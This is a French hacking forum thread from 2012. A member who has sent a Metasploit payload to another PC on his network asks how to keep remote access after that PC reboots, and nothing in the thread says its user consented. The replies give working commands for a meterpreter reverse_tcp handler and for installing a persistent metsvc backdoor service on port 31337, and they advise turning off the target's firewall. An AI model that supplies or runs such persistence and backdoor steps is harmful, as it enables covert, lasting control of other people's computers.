Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 18-06-2012 20:47:02

chaa13
Nouveau membre
Inscription : 01-02-2012
Messages : 9

[QUESTION] Persistance d'un serveur.

Bonjour,
J'ai envoyé à un des PC dans mon réseau local un serveur fait avec msfpayload. Le problème c'est que des que le l'utilisateur distant éteint son PC je ne peux plus me reconnecter !
Comment je peux faire pour que le serveur redémarre avec le PC ?
Est-il possible de se connecter a tout moment : je m'explique imaginons que je fasse :
>msfconsole
>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set LHOST 192.168.1.89
>exploit
Le problème c'est que si le PC distant avait lancer le serveur avant que je tape "exploit" ça ne marche pas, comment je peux remédier a ces problèmes ?

Merci d'avance !!!!!
Charles

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 19-06-2012 03:17:31

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : [QUESTION] Persistance d'un serveur.

J'avais déjà répondu à une question similaire --> Metasploit (exploit.exe TO PC_victime)

Hors Ligne

#3 19-06-2012 16:54:42

chaa13
Nouveau membre
Inscription : 01-02-2012
Messages : 9

Re : [QUESTION] Persistance d'un serveur.

Désolé, javais pas vue ce poste ! Par contre, sais tu comment faire pour que je puisse me connecter a tous moments (Justement dans l'idée que je tape le "exploit" même apres que l'utilisateur distant ai déja allumé son PC depuis 20 minutes ?


Merci d'avance !
Charles

Hors Ligne

#4 21-06-2012 02:39:11

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : [QUESTION] Persistance d'un serveur.

Meterpreter peut y injecter une backdoor sous forme de DLL et crée ainsi un service qui écoute en permanence sur le port 31337. En se connectant dessus, tu relances ainsi une nouvelle session mais il faudrait désactiver le pare-feu sur la cible:

run metsvc

Et pour se connecter ultérieurement:

use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 192.168.1. IP cible
exploit

Hors Ligne

#5 22-06-2012 19:17:03

chaa13
Nouveau membre
Inscription : 01-02-2012
Messages : 9

Re : [QUESTION] Persistance d'un serveur.

Ok merci !!! par contre pour le port je suis obligé de mettre 31337 ou je peux mettre le port que j'ai associer au listener d'avant ? pour RHOST je met mon ip LAN et ip de la cible c'est ca ?
Merci d'avance !!

Hors Ligne

#6 23-06-2012 18:45:16

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : [QUESTION] Persistance d'un serveur.

La metsvc installée par meterpreter écoute par défaut sur le port 31337, tu peux taper ("metsvc -h") pour avoir plus de détails sur sa configuration. En se connectant à nouveau grâce au gestionnaire (handler) tu vas créer une connexion de type ("bind_tcp") qui va directement se lier au port 31337 sur la machine cible, tu peux essayer de changer le port sur lequel le gestionnaire attend le retour de la connexion en modifiant le ("LPORT") et voir ce que ça donne, par défaut Metasploit utilise le port 4444.

Pour l'histoire de ("RHOST"), il s'agit de l'adresse IP de la cible, et ("LHOST") c'est l'adresse IP de ta machine d'attaque.

Dernière modification par Fuji (24-06-2012 23:54:06)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Discussion Réponses Vues Dernier message
Feedback Test serveur IBM par Morpheus_Dotcom
6 112 08-12-2016 15:38:50 par Morpheus_Dotcom
7 317 26-09-2016 15:52:41 par ElliotV
3 223 01-08-2016 15:53:54 par Olympe
11 712 05-03-2016 12:51:24 par Jéjé El Dipso
6 969 08-01-2016 19:58:40 par damsss

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.024 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]